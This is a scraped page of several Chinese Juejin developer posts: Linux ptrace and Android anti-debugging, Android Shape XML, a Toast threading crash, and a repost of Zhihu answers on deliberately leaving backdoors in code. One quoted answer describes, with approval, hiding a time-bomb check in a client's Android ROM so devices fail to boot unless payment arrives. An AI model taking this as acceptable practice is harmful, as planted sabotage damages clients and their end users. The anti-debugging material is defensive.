  1. 在单元测试中可以直接使用 runBlocking

  2. 耗时函数可以直接定义为 suspend 函数或者使用 Callback 形式返回;

  3. 对于 Java 类中调用协程函数的场景应使用显示的声明告知调用者,严格一点的可以判断线程,对于在主线程调用的可以抛出异常或者记录下来统一处理;

作者:madroid
链接:https://juejin.cn/post/7130270050572828703
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

最近很火的反调试,你知道它是什么吗?

前言 我们日常开发中,永远离不开debug调试,断点技术一直是我们排查bug的有力手段之一!随着网络安全意识的逐步提高,对app安全的要求就越来越高,反调试的技术也渐渐深入我们开发者的眼帘,那么我们来具体看看,android中,同时也是linux内核中,是怎么...
继续阅读 »

前言


我们日常开发中,永远离不开debug调试,断点技术一直是我们排查bug的有力手段之一!随着网络安全意识的逐步提高,对app安全的要求就越来越高,反调试的技术也渐渐深入我们开发者的眼帘,那么我们来具体看看,android中,同时也是linux内核中,是怎么处理调试程序的!


执行跟踪


无论是断点还是其他debug手段,其实都可以总结为一个技术手段,就是执行跟踪,含义就是一个程序监视另一个程序的技术,被跟踪的程序通过一步步执行,知道收到一个信号或者系统调用停止!


在linux内核中,就是通过ptrace系统调用进行的执行跟踪


#include <sys/ptrace.h> 
long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);

随着我们对linux的了解,那么就离不开对权限的讨论!一个程序跟踪另一个程序这种东西,按照linux风格,肯定是具有某种权限才可以执行!这个权限就是设置了CAP_SYS_PTRACE 权限的进程,就可以跟踪系统中除了init进程(linux第一个进程)外的任何进程!当然!就算一个进程没有CAP_SYS_PTRACE权限,也可以跟踪一个与被监视进程有相同属组的进程,比如父进程可以通过ptrace跟踪子进程!执行跟踪还有一个非常重要的特点,就是两个进程不能同时跟踪一个进程


我们再回到ptrace函数调用,可以看到第一个参数是一个枚举值,其实就是发出ptrace的当前行为,它有以下可选命令(仅部分举例):


image.png
其他的参数含义如下:
pid参数标识目标进程,addr参数表明执行peek(读操作)和poke(写操作)操作的地址,data参数则对于poke操作,指明存放数据的地址,对于peek操作,指明获取数据的地址。


ptrace设计探讨


我们了解了linux提供的系统api,那么我们还是从设计者角度出发,我们想要跟踪一个进程的话,我们需要干点什么?来来来,我们来想一下,可能就会有以下几个问题吧



  1. 被跟踪进程与跟踪进程怎么建立联系

  2. 如果使程序停止在我们想要停止的点(比如断点)

  3. 跟踪进程与被跟踪进程怎么进行数据交换,又或者我们怎么样看到被跟踪进程中当前的数据


下面我们逐步去探讨一下这几个问题吧!(以PTRACE_ATTACH 作为例子)首先对于问题1,我们怎么建立起被跟踪进程与跟踪进程之间的联系呢?linux中进程存在父子关系,兄弟关系对吧!这些进程就可以通过相对便捷的方式进行通信,同时linux也有定义了特殊的信号提供给父子进程的通信。看到这里,相信大家能够猜到ptrace究竟干了啥!就是通过调用ptrace系统调用,把被跟踪进程(第二个参数pid)的进程描述符号中的p_pptr字段指向了跟踪进程!毕竟linux判断进程的描述,就靠着进程描述符,想要建立父子关系,修改进程描述符即可,就这么简单!这里补充一下部分描述符号:


image.png


那么好!我们建立进程之间的联系了,那么当执行跟踪终止的时候,我们就可以调用ptrace 第一个参数为PTRACE_DETACH 命令,把p_pptr恢复到原来的数据即可!(那么有人会问,原来的父进程描述符保存在哪里了,嘿嘿,在p_opptr中,也就是他的祖先中,这里我们不深入讨论)


接下来我们来讨论一下问题2和问题3,怎么使程序停止呢?(这里我们讨论常用的做法,以linux内核2.4版本为准,请注意细微的区别)其实就是被监控进程在读取指令前,就会执行被嵌入的监控代码,如果我想要停止在代码的某一行,这个时候cpu会执行一条“陷阱指令”也称为Debug指令,一般来说,这条指令作用只是为了使程序停止,然后发出一个SIGCHLD信号给父进程(不了解信号的知识可以看看这篇),嘿嘿,那么这个父进程是谁呢?没错,就是我们刚刚改写的监控进程,这样一来,我们的监控进程就能够收到被监控进程的消息,此时就可以继续调用其他的ptrace调用(第一个参数指定为其他需要的枚举值),查看当前寄存器或者其他的数据


image.png


这么说下来可能会有人还是不太懂,我们举个例子,我们的单步调试是怎么样做的:
还是上面的步骤,子进程发送一个SIGCHLD给父进程,此时身为父进程的监控线程就可以再调用ptrace(PTRACE_SINGLESTEP, *, *, * )方法给子进程的下一条指令设置陷阱指令,进行单步调试,此时控制权又会给到子进程,子进程执行完一个指令,就会又发出SIGCHLD给父进程,如此循环下去!


反调试


最近隐私合规与app安全性能被各大app所重视,对于app安全性能来说,反调试肯定是最重要的一环!看到上面的这些介绍,我们应该也明白了ptrace的作用,下面我们介绍一下几种常见的反调试方案:



  1. ptrace占位:利用ptrace的机制,我们知道一个进程只能被一个监控进程所监控,所以我们可以提前初始化一个进程,用这个进程对我们自身app的进程调用一次ptrace即可

  2. 轮询进程状态:可以通过轮训的手段,查看进程当前的进程信息:proc/pid/status


Name: test\
Umask: 0022\
State: D (disk sleep)-----------------------表示此时线程处于sleeping,并且是uninterruptible状态的wait。

Tgid: 157-----------------------------------线程组的主pid\
Ngid: 0\
Pid: 159------------------------------------线程自身的pid\
PPid: 1-------------------------------------线程组是由init进程创建的。\
TracerPid: 0\ **这里是关键**
Uid: 0 0 0 0\
Gid: 0 0 0 0\
FDSize: 256---------------------------------表示到目前为止进程使用过的描述符总数。\
Groups: 0 10 \
VmPeak: 1393220 kB--------------------------虚拟内存峰值大小。\
VmSize: 1390372 kB--------------------------当前使用中的虚拟内存,小于VmPeak。\
VmLck: 0 kB\
VmPin: 0 kB\
VmHWM: 47940 kB-----------------------------RSS峰值。\
VmRSS: 47940 kB-----------------------------RSS实际使用量=RSSAnon+RssFile+RssShmem。\
RssAnon: 38700 kB\
RssFile: 9240 kB\
RssShmem: 0 kB\
VmData: 366648 kB--------------------------进程数据段共366648KB。\
VmStk: 132 kB------------------------------进程栈一共132KB。\
VmExe: 84 kB-------------------------------进程text段大小84KB。\
VmLib: 11488 kB----------------------------进程lib占用11488KB内存。\
VmPTE: 1220 kB\
VmPMD: 0 kB\
VmSwap: 0 kB\
Threads: 40-------------------------------进程中一个40个线程。\
SigQ: 0/3142------------------------------进程信号队列最大3142,当前没有pending

如果TracerPid不为0,那么就存在被监控的进程,此时如果该进程不是我们所信任的进程,就调用我们指定好的程序重启即可!读取这个proc/pid/status文件涉及到的相关处理可以自行google,这里就不再重复列举啦!


总结


看到这里,我们也能够明白debug在linux内核中的处理流程啦!最后,点个赞再走呗!



作者:Pika
链接:https://juejin.cn/post/7132438417970823176
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。 收起阅读 »

我在代码里面故意留个漏洞,违法吗?

逛知乎的时候,看到了这么一个问题:我看到了三个非常有意思的回答,分享给大家一看。首先是这个为了防止项目交付后收不到尾款埋下后门的回答:早年给某台企做外包项目,定制一个Android系统的ROM。开发费用16万,一年期维护费用2万。开发费用分三期打款,订金4万,...
继续阅读 »

逛知乎的时候,看到了这么一个问题:

我看到了三个非常有意思的回答,分享给大家一看。

首先是这个为了防止项目交付后收不到尾款埋下后门的回答:

早年给某台企做外包项目,定制一个Android系统的ROM。开发费用16万,一年期维护费用2万。

开发费用分三期打款,订金4万,生产环境ROM交付8万,验收并交付源码后打尾款4万。

生产环境ROM交付前留了一手,加了时间戳校验,混杂在驱动程序里,6个月后不能开机。

果不其然,过了4个月对方也没把尾款打过来,显然是用着没什么毛病,源码不打算要了,维护费用也一起省了。每次催款都用各种理由搪塞。

又过了2个月,埋的雷爆了,他们的下游客户开始各种投诉。这才把剩余款项收回来。

懒得说这家公司的名字,挺有名的公司,估计很多人用过他们的产品。

如果不留这一手,估计就要吃哑巴亏了,毕竟台湾省的官司打起来费劲儿。在这种情况下,这叫自我保护,不违法。

原回答链接:https://www.zhihu.com/question/531724027/answer/2487270093

这个回答让我想起了多年前我接私活的时候,给别人开发的软件交付后就玩消失的经历,那时候年轻,不知道做个时间限制啥的···不说了,说多了都是泪。

话说回来,真像这位答主这样弄个后门,违不违法,答主说了不算,还得具体问题具体分析,法院说了才算,不过这种做法还是比较危险,慎重。

那到底法律如何界定这种问题呢,来看一下网络安全界的大佬TK教主的回答:

我国没有仅针对后门本身进行处罚的法律。主要原因是“后门”难以客观界定。

比如,自动更新机制是不是后门?热补丁机制是不是后门?远程维护机制是不是后门?家里宽带有问题,你打运营商客服电话,运营商那边就能远程调整你的光猫——这是不是后门?

所以现在法律在处理后门相关问题时,是根据利用行为定罪的。你留了后门,一辈子不用,没事。用来干坏事了,那就根据你具体干了什么坏事定罪量刑。

原回答链接:https://www.zhihu.com/question/531724027/answer/2539891264

代码里面藏后门属于初级玩家,来看一下高级的后门长啥样:

Ken Thompson在贝尔实验室的时候,他总是能在一台装了Unix的服务器上黑进他人的账户,不管他人怎么修改账户密码都没有用,当时贝尔实验室里面聚集的都是智商爆表、专业知识过硬的科学家,Ken的行为无疑让他们非常不爽。

有个人分析了Unix的代码之后,找到了后门,重新编译部署了Uinx,但是让他们崩溃的事情再次发生,Ken还是能黑进他们的账户,这个事情让他们百思不得其解。

一直到1983年,Ken获得图灵奖,在大会上解开了这个秘密,原来这个密码后门是通过他写的一个C编译器植入的,而当时那台Unix的机器必须通过这个C编译器编译之后才能运行,所以不管unix怎么修改都没有用,毕竟是要编译的。

前几年发生的Xcode Ghost事件,就是用类似的方式操作的,所以真正的大神留的黑洞,一般人根本防不住,除非遇到同样的大神,而且人家告诉你在哪里了,才有可能破解。这就是为啥有的单位,人家不连外网,因为根本不知道装的系统有没有别人留下的漏洞。

低级的代码层次

中级的在工具链上

高级的在编译器层次

终极的在机器内部,这个根本防不胜防。

所以对程序员好一点。

原回答链接:https://www.zhihu.com/question/531724027/answer/2487130220

这让我想起了不久前发生的一件事:有黑客组织在IDA里面投毒。IDA是安全人员逆向分析的重要软件,给这里面投毒,属于定向攻击搞安全的人了,真是防不胜防啊。

收起阅读 »

Android: Shape 的使用

Android Shape 的使用 在Android开发中,我们可以使用shape定义各种各样的形状,也可以定义一些图片资源。相对于传统 图片来说,使用shape可以减少资源占用,减少安装包大小,还能够很好地适配不同尺寸的手机。 1. shape属性 sha...
继续阅读 »

Android Shape 的使用


在Android开发中,我们可以使用shape定义各种各样的形状,也可以定义一些图片资源。相对于传统
图片来说,使用shape可以减少资源占用,减少安装包大小,还能够很好地适配不同尺寸的手机。


1. shape属性



  • shape 属性基本语法示例:


<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<!-- 圆角属性-->
<corners
android:bottomLeftRadius="10dp"
android:bottomRightRadius="10dp"
android:radius="5dp"
android:topLeftRadius="15dp"
android:topRightRadius="15dp" />
<!-- 渐变属性-->
<gradient
android:angle="-45"
android:centerColor="#ff0099"
android:centerX="20"
android:centerY="30"
android:endColor="#80FF00"
android:gradientRadius="45dp"
android:startColor="#FF0089BD"
android:type="linear"
android:useLevel="false" />
<!-- 边距属性-->
<padding
android:bottom="12dp"
android:left="10dp"
android:right="15dp"
android:top="10dp" />
<!--大小属性-->
<size
android:width="200dp"
android:height="200dp" />
<!-- 填充属性-->
<!-- <solid android:color="#ffff9d"/>-->
<!-- 描边属性-->
<stroke
android:width="2dp"
android:color="#dcdcdc" />
</shape>

2. 基本属性


Shape可以定义控件的一些展示效果,例如圆角,渐变,填充,描边,大小,边距; shape 子标签就可以实现这些效果, shape 子标签有下面几个属性:corners,gradient,padding,size,solid,stroke:



  • corners(圆角)是用来字义圆角


<corners //定义圆角
android:radius="10dp" //全部的圆角半径;
android:topLeftRadius="5dp" //左上角的圆角半径;
android:topRightRadius="5dp" //右上角的圆角半径;
android:bottomLeftRadius="5dp" //左下角的圆角半径;
android:bottomRightRadius="5dp" /> //右下角的圆角半径。


  • solid(填充色)是用以指定内部填充色;


  <solid android:color="#ffff00"/> //内部填充色


  • gradient(渐变)用以定义渐变色,可以定义两色渐变和三色渐变,及渐变样式;


<gradient
android:type=["linear" | "radial" | "sweep"] //共有3中渐变类型,线性渐变
(默认)/放射渐变/扫描式渐变;
android:angle="90" //渐变角度,必须为45的倍数,0为从左到右,90为从上到下;
android:centerX="0.5" //渐变中心X的相当位置,范围为0~1;
android:centerY="0.5" //渐变中心Y的相当位置,范围为0~1;
android:startColor="#24e9f2" //渐变开始点的颜色;
android:centerColor="#2564ef" //渐变中间点的颜色,在开始与结束点之间;
android:endColor="#25f1ef" //渐变结束点的颜色;
android:gradientRadius="5dp" //渐变的半径,只有当渐变类型为radial时才能使用;
android:useLevel="false" /> //使用LevelListDrawable时就要设置为true。设为
false时才有渐变效果。


  • stroke(描边)是描边属性,可以定义描边的宽度,颜色,虚实线等;


<stroke
android:width="1dp" //描边的宽度
android:color="#ff0000" //描边的颜色
// 以下两个属性设置虚线
android:dashWidth="1dp" //虚线的宽度,值为0时是实线
android:dashGap="1dp" />//虚线的间隔


  • padding(内边距)是用来定义内部边距


<padding
android:left="10dp" //左内边距;
android:top="10dp" //上内边距;
android:right="10dp" //右内边距;
android:bottom="10dp" /> //下内边距。


  • size(大小)标签是用来定义图形的大小的


<size
android:width="50dp" //宽度
android:height="50dp" />// 高度

3. 特殊属性


Shape可以定义当前Shape的形状的,比如矩形,椭圆形,线形和环形;这些都是通过 shape 标签属性来定义的, shape 标签有下面几个属性:rectangle,oval,line,ring:


<shape xmlns:android="http://schemas.android.com/apk/res/android"
//shape的形状,默认为矩形,可以设置为矩形(rectangle)、椭圆形(oval)、线性形状(line)环形(ring)
android:shape=["rectangle" | "oval" | "line" | "ring"]
//下面的属性只有在android:shape="ring"时可用:
android:innerRadius="10dp" // 内环的半径;
android:innerRadiusRatio="2" // 浮点型,以环的宽度比率来表示内环的半径;
android:thickness="3dp" // 环的厚度;
android:thicknessRatio="2" // 浮点型,以环的宽度比率来表示环的厚度;
android:useLevel="false"> // boolean值,如果当做是LevelListDrawable使用时值为
true,否则为false。
</shape>


  • rectangle(矩形)


<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<solid android:color="@color/colorPrimary"/>
</shape>


  • oval(椭圆)


<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="oval">
<solid android:color="@color/colorPrimary"/>
<size android:height="100dp"
android:width="100dp"/>
</shape>


  • line(线)


<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="line">
<stroke
android:width="1dp"
android:color="@color/colorAccent"
android:dashGap="3dp"//虚线间距
android:dashWidth="4dp"/>//虚线宽度
<size android:height="3dp"/>
</shape>


  • ring(圆环)


<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="ring"
android:useLevel="false"
android:innerRadius="20dp" // 内环的半径
android:thickness="10dp"> // 圆环宽度
<!--useLevel需要设置为false-->
<solid android:color="@color/colorAccent"/>
</shape>

4.shape用法



  • 在res/drawable下新建 shape_text.xml 文件;


//参考 1.shape属性
<?xml version="1.0" encoding="utf-8"?>
<shape xmlns:android="http://schemas.android.com/apk/res/android"
android:shape="rectangle">
<!-- 圆角属性-->
<corners ... />
<!-- 渐变属性-->
<gradient ... />
<!-- 边距属性-->
<padding ... />
<!--大小属性-->
<size ... />
<!-- 描边属性-->
<stroke ... />
</shape>


  • 在布局中引用 shape_text.xml 文件;


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:background="@drawable/shape_text"
android:text="Shape测试"
android:textColor="@android:color/black"
android:textSize="15sp" />
</LinearLayout>

作者:提笔写bug
链接:https://juejin.cn/post/7130442723433119774
来源:稀土掘金
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。
收起阅读 »

Android技术分享|【Android踩坑】怀疑人生,主线程修改UI也会崩溃?

前言 某天早晨,吃完早餐,坐回工位,打开电脑,开启chrome,进入友盟页面,发现了一个崩溃信息: java.lang.RuntimeException: Unable to resume activity {com.youdao.youdaomath/com...
继续阅读 »

前言


某天早晨,吃完早餐,坐回工位,打开电脑,开启chrome,进入友盟页面,发现了一个崩溃信息:


java.lang.RuntimeException: Unable to resume activity {com.youdao.youdaomath/com.youdao.youdaomath.view.PayCourseVideoActivity}: android.view.ViewRootImpl$CalledFromWrongThreadException: Only the original thread that created a view hierarchy can touch its views.
at android.app.ActivityThread.performResumeActivity(ActivityThread.java:3824)
at android.app.ActivityThread.handleResumeActivity(ActivityThread.java:3856)
at android.app.servertransaction.ResumeActivityItem.execute(ResumeActivityItem.java:51)
at android.app.servertransaction.TransactionExecutor.executeLifecycleState(TransactionExecutor.java:145)
at android.app.servertransaction.TransactionExecutor.execute(TransactionExecutor.java:70)
at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1831)
at android.os.Handler.dispatchMessage(Handler.java:106)
at android.os.Looper.loop(Looper.java:201)
at android.app.ActivityThread.main(ActivityThread.java:6806)
at java.lang.reflect.Method.invoke(Native Method)
at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:547)
at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:873)
Caused by: android.view.ViewRootImpl$CalledFromWrongThreadException: Only the original thread that created a view hierarchy can touch its views.
at android.view.ViewRootImpl.checkThread(ViewRootImpl.java:8000)
at android.view.ViewRootImpl.requestLayout(ViewRootImpl.java:1292)
at android.view.View.requestLayout(View.java:23147)
at android.view.View.requestLayout(View.java:23147)
at android.widget.TextView.checkForRelayout(TextView.java:8914)
at android.widget.TextView.setText(TextView.java:5736)
at android.widget.TextView.setText(TextView.java:5577)
at android.widget.TextView.setText(TextView.java:5534)
at android.widget.Toast.setText(Toast.java:332)
at com.youdao.youdaomath.view.common.CommonToast.showShortToast(CommonToast.java:40)
at com.youdao.youdaomath.view.PayCourseVideoActivity.checkNetWork(PayCourseVideoActivity.java:137)
at com.youdao.youdaomath.view.PayCourseVideoActivity.onResume(PayCourseVideoActivity.java:218)
at android.app.Instrumentation.callActivityOnResume(Instrumentation.java:1413)
at android.app.Activity.performResume(Activity.java:7400)
at android.app.ActivityThread.performResumeActivity(ActivityThread.java:3816)

一眼看上去似乎是比较常见的子线程修改UI的问题。并且是在Toast上面报出的,常识告诉我Toast在子线程弹出是会报错,但是应该是提示Looper没有生成的错,而不应该是上面所报出的错误。那么会不会是生成Looper以后报的错的?


一、Demo 验证


所以我先做了一个demo,如下:


    @Override
protected void onResume() {
super.onResume();
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
Toast.makeText(MainActivity.this,"子线程弹出Toast",Toast.LENGTH_SHORT).show();
}
});
thread.start();
}

运行一下,果不其然崩溃掉,错误信息就是提示我必须准备好looper才能弹出toast:


    java.lang.RuntimeException: Can't toast on a thread that has not called Looper.prepare()
at android.widget.Toast$TN.<init>(Toast.java:393)
at android.widget.Toast.<init>(Toast.java:117)
at android.widget.Toast.makeText(Toast.java:280)
at android.widget.Toast.makeText(Toast.java:270)
at com.netease.photodemo.MainActivity$1.run(MainActivity.java:22)
at java.lang.Thread.run(Thread.java:764)

接下来就在toast里面准备好looper,再试试吧:


        Thread thread = new Thread(new Runnable() {
@Override
public void run() {
Looper.prepare();
Toast.makeText(MainActivity.this,"子线程弹出Toast",Toast.LENGTH_SHORT).show();
Looper.loop();
}
});
thread.start();

运行发现是能够正确的弹出Toast的:


在这里插入图片描述


那么问题就来了,为什么会在友盟中出现这个崩溃呢?


二、再探堆栈


然后仔细看了下报错信息有两行重要信息被我之前略过了:


at com.youdao.youdaomath.view
.PayCourseVideoActivity.onResume(PayCourseVideoActivity.java:218)
android.widget.Toast.setText(Toast.java:332)

发现是在主线程报了Toast设置Text的时候的错误。这就让我很纳闷了,子线程修改UI会报错,主线程也会报错?
感觉这么多年Android白做了。这不是最基本的知识么?
于是我只能硬着头皮往源码深处看了:
先来看看Toast是怎么setText的:


    public static Toast makeText(@NonNull Context context, @Nullable Looper looper,
@NonNull CharSequence text, @Duration int duration) {
Toast result = new Toast(context, looper);

LayoutInflater inflate = (LayoutInflater)
context.getSystemService(Context.LAYOUT_INFLATER_SERVICE);
View v = inflate.inflate(com.android.internal.R.layout.transient_notification, null);
TextView tv = (TextView)v.findViewById(com.android.internal.R.id.message);
tv.setText(text);

result.mNextView = v;
result.mDuration = duration;

return result;
}

很常规的一个做法,先是inflate出来一个View对象,再从View对象找出对应的TextView,然后TextView将文本设置进去。


至于setText在之前有详细说过,是在ViewRootImpl里面进行checkThread是否在主线程上面。所以感觉似乎一点问题都没有。那么既然出现了这个错误,总得有原因吧,或许是自己源码看漏了?


那就重新再看一遍ViewRootImpl#checkThread方法吧:


    void checkThread() {
if (mThread != Thread.currentThread()) {
throw new CalledFromWrongThreadException(
"Only the original thread that created a view hierarchy can touch its views.");
}
}

这一看,还真的似乎给我了一点头绪,系统在checkThread的时候并不是将Thread.currentThread和MainThread作比较,而是跟mThread作比较,那么有没有一种可能mThread是子线程?


一想到这里,我就兴奋了,全类查看mThread到底是怎么初始化的:


    public ViewRootImpl(Context context, Display display) {
...代码省略...
mThread = Thread.currentThread();
...代码省略...
}

可以发现全类只有这一处对mThread进行了赋值。那么会不会是子线程初始化了ViewRootimpl呢?似乎我之前好像也没有研究过Toast为什么会弹出来,所以顺便就先去了解下Toast是怎么show出来的好了:


    /**
* Show the view for the specified duration.
*/
public void show() {
if (mNextView == null) {
throw new RuntimeException("setView must have been called");
}

INotificationManager service = getService();
String pkg = mContext.getOpPackageName();
TN tn = mTN;
tn.mNextView = mNextView;

try {
service.enqueueToast(pkg, tn, mDuration);
} catch (RemoteException e) {
// Empty
}
}

调用Toast的show方法时,会通过Binder获取Service即NotificationManagerService,然后执行enqueueToast方法(NotificationManagerService的源码就不做分析),然后会执行Toast里面如下方法:


        @Override
public void show(IBinder windowToken) {
if (localLOGV) Log.v(TAG, "SHOW: " + this);
mHandler.obtainMessage(SHOW, windowToken).sendToTarget();
}

发送一个Message,通知进行show的操作:


        @Override
public void show(IBinder windowToken) {
if (localLOGV) Log.v(TAG, "SHOW: " + this);
mHandler.obtainMessage(SHOW, windowToken).sendToTarget();
}

在Handler的handleMessage方法中找到了SHOW的case,接下来就要进行真正show的操作了:


        public void handleShow(IBinder windowToken) {
if (localLOGV) Log.v(TAG, "HANDLE SHOW: " + this + " mView=" + mView
+ " mNextView=" + mNextView);
// If a cancel/hide is pending - no need to show - at this point
// the window token is already invalid and no need to do any work.
if (mHandler.hasMessages(CANCEL) || mHandler.hasMessages(HIDE)) {
return;
}
if (mView != mNextView) {
// remove the old view if necessary
handleHide();
mView = mNextView;
Context context = mView.getContext().getApplicationContext();
String packageName = mView.getContext().getOpPackageName();
if (context == null) {
context = mView.getContext();
}
mWM = (WindowManager)context.getSystemService(Context.WINDOW_SERVICE);
// We can resolve the Gravity here by using the Locale for getting
// the layout direction
final Configuration config = mView.getContext().getResources().getConfiguration();
final int gravity = Gravity.getAbsoluteGravity(mGravity, config.getLayoutDirection());
mParams.gravity = gravity;
if ((gravity & Gravity.HORIZONTAL_GRAVITY_MASK) == Gravity.FILL_HORIZONTAL) {
mParams.horizontalWeight = 1.0f;
}
if ((gravity & Gravity.VERTICAL_GRAVITY_MASK) == Gravity.FILL_VERTICAL) {
mParams.verticalWeight = 1.0f;
}
mParams.x = mX;
mParams.y = mY;
mParams.verticalMargin = mVerticalMargin;
mParams.horizontalMargin = mHorizontalMargin;
mParams.packageName = packageName;
mParams.hideTimeoutMilliseconds = mDuration ==
Toast.LENGTH_LONG ? LONG_DURATION_TIMEOUT : SHORT_DURATION_TIMEOUT;
mParams.token = windowToken;
if (mView.getParent() != null) {
if (localLOGV) Log.v(TAG, "REMOVE! " + mView + " in " + this);
mWM.removeView(mView);
}
if (localLOGV) Log.v(TAG, "ADD! " + mView + " in " + this);
// Since the notification manager service cancels the token right
// after it notifies us to cancel the toast there is an inherent
// race and we may attempt to add a window after the token has been
// invalidated. Let us hedge against that.
try {
mWM.addView(mView, mParams);
trySendAccessibilityEvent();
} catch (WindowManager.BadTokenException e) {
/* ignore */
}
}
}

代码有点长,我们最需要关心的就是mWm.addView方法。


相信看过ActivityThread的同学应该知道mWm.addView方法是在ActivityThread的handleResumeActivity里面也有调用过,意思就是进行ViewRootImpl的初始化,然后通过ViewRootImp进行View的测量,布局,以及绘制。


看到这里,我想到了一个可能的原因:


那就是我的Toast是一个全局静态的Toast对象,然后第一次是在子线程的时候show出来,这个时候ViewRootImpl在初始化的时候就会将子线程的对象作为mThread,然后下一次在主线程弹出来就出错了吧?想想应该是这样的。


三、再探Demo


所以继续做我的demo来印证我的想法:


    @Override
protected void onResume() {
super.onResume();
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
Looper.prepare();
sToast = Toast.makeText(MainActivity.this,"子线程弹出Toast",Toast.LENGTH_SHORT);
sToast.show();
Looper.loop();
}
});
thread.start();
}

public void click(View view) {
sToast.setText("主线程弹出Toast");
sToast.show();
}

做了个静态的toast,然后点击按钮的时候弹出toast,运行一下:


在这里插入图片描述


发现竟然没问题,这时候又开始怀疑人生了,这到底怎么回事。ViewRootImpl此时的mThread应该是子线程啊,没道理还能正常运行,怎么办呢?debug一步一步调试吧,一步一步调试下来,发现在View的requestLayout里面parent竟然为空了:


在这里插入图片描述


然后在仔细看了下当前View是一个LinearLayout,然后这个View的子View是TextView,文本内容是"主线程弹出toast",所以应该就是Toast在new的时候inflate的布局


View v = inflate.inflate(com.android.internal.R.layout.transient_notification, null);

找到了对应的toast布局文件,打开一看,果然如此:


<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:background="?android:attr/toastFrameBackground">

<TextView
android:id="@android:id/message"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_weight="1"
android:layout_marginHorizontal="24dp"
android:layout_marginVertical="15dp"
android:layout_gravity="center_horizontal"
android:textAppearance="@style/TextAppearance.Toast"
android:textColor="@color/primary_text_default_material_light"
/>

</LinearLayout>

也就是说此时的View已经是顶级View了,它的parent应该就是ViewRootImpl,那么为什么ViewRootImpl是null呢,明明之前已经show过了。看来只能往Toast的hide方法找原因了


四、深入源码


所以重新回到Toast的类中,查看下Toast的hide方法(此处直接看Handler的hide处理,之前的操作与show类似):


public void handleHide() {
if (localLOGV) Log.v(TAG, "HANDLE HIDE: " + this + " mView=" + mView);
if (mView != null) {
// note: checking parent() just to make sure the view has
// been added... i have seen cases where we get here when
// the view isn't yet added, so let's try not to crash.
if (mView.getParent() != null) {
if (localLOGV) Log.v(TAG, "REMOVE! " + mView + " in " + this);
mWM.removeViewImmediate(mView);
}

// Now that we've removed the view it's safe for the server to release
// the resources.
try {
getService().finishToken(mPackageName, this);
} catch (RemoteException e) {
}

mView = null;
}
}

此处调用了mWm的removeViewImmediate,即WindowManagerImpl里面的removeViewImmediate方法:


    @Override
public void removeViewImmediate(View view) {
mGlobal.removeView(view, true);
}

会调用WindowManagerGlobal的removeView方法:


public void removeView(View view, boolean immediate) {
if (view == null) {
throw new IllegalArgumentException("view must not be null");
}

synchronized (mLock) {
int index = findViewLocked(view, true);
View curView = mRoots.get(index).getView();
removeViewLocked(index, immediate);
if (curView == view) {
return;
}

throw new IllegalStateException("Calling with view " + view
+ " but the ViewAncestor is attached to " + curView);
}
}

然后调用removeViewLocked方法:


private void removeViewLocked(int index, boolean immediate) {
ViewRootImpl root = mRoots.get(index);
View view = root.getView();

if (view != null) {
InputMethodManager imm = InputMethodManager.getInstance();
if (imm != null) {
imm.windowDismissed(mViews.get(index).getWindowToken());
}
}
boolean deferred = root.die(immediate);
if (view != null) {
//此处调用View的assignParent方法将viewParent置空
view.assignParent(null);
if (deferred) {
mDyingViews.add(view);
}
}
}

所以也就是说在Toast时间到了以后,会调用hide方法,此时会将parent置成空,所以我刚才试的时候才没有问题。那么按道理说只要在Toast没有关闭的时候点击再次弹出toast应该就会报错。


所以还是原来的代码,再来一次,这次不等Toast关闭,再次点击:


在这里插入图片描述


果然如预期所料,此时在主线程弹出Toast就会崩溃。


五、发现原因


那么问题原因找到了:


是在项目子线程中有弹出过Toast,然后Toast并没有关闭,又在主线程弹出了同一个对象的toast,会造成崩溃。


此时内心有个困惑:


如果是子线程弹出Toast,那我就需要写Looper.prepare方法和Looper.loop方法,为什么我自己一点印象都没有。


于是我全局搜索了Looper.prepare,发现并没有找到对应的代码。所以我就全局搜索了Toast调用的地方,发现在JavaBridge的回调当中找到了:


    class JSInterface {
@JavascriptInterface
public void handleMessage(String msg) throws JSONException {
LogHelper.e(TAG, "msg::" + msg);
JSONObject jsonObject = new JSONObject(msg);
String callType = jsonObject.optString(JS_CALL_TYPE);
switch (callType) {
...代码省略..
case JSCallType.SHOW_TOAST:
showToast(jsonObject);
break;
default:
break;
}
}
}

/**
* 弹出吐司
* @param jsonObject
* @throws JSONException
*/
public void showToast(JSONObject jsonObject) throws JSONException {
JSONObject payDataObj = jsonObject.getJSONObject("data");
String message = payDataObj.optString("data");
CommonToast.showShortToast(message);
}

但是看到这段代码,又有疑问了,我并没有在Javabridge的回调中看到有任何准备Looper的地方,那么为什么Toast没有崩溃掉?


所以在此处加了一段代码:


    class JSInterface {
@JavascriptInterface
public void handleMessage(String msg) throws JSONException {
LogHelper.e(TAG, "msg::" + msg);
JSONObject jsonObject = new JSONObject(msg);
String callType = jsonObject.optString(JS_CALL_TYPE);
Thread currentThread = Thread.currentThread();
Looper looper = Looper.myLooper();
switch (callType) {
...代码省略..
case JSCallType.SHOW_TOAST:
showToast(jsonObject);
break;
default:
break;
}
}
}

并且加了一个断点,来查看下此时的情况:


在这里插入图片描述


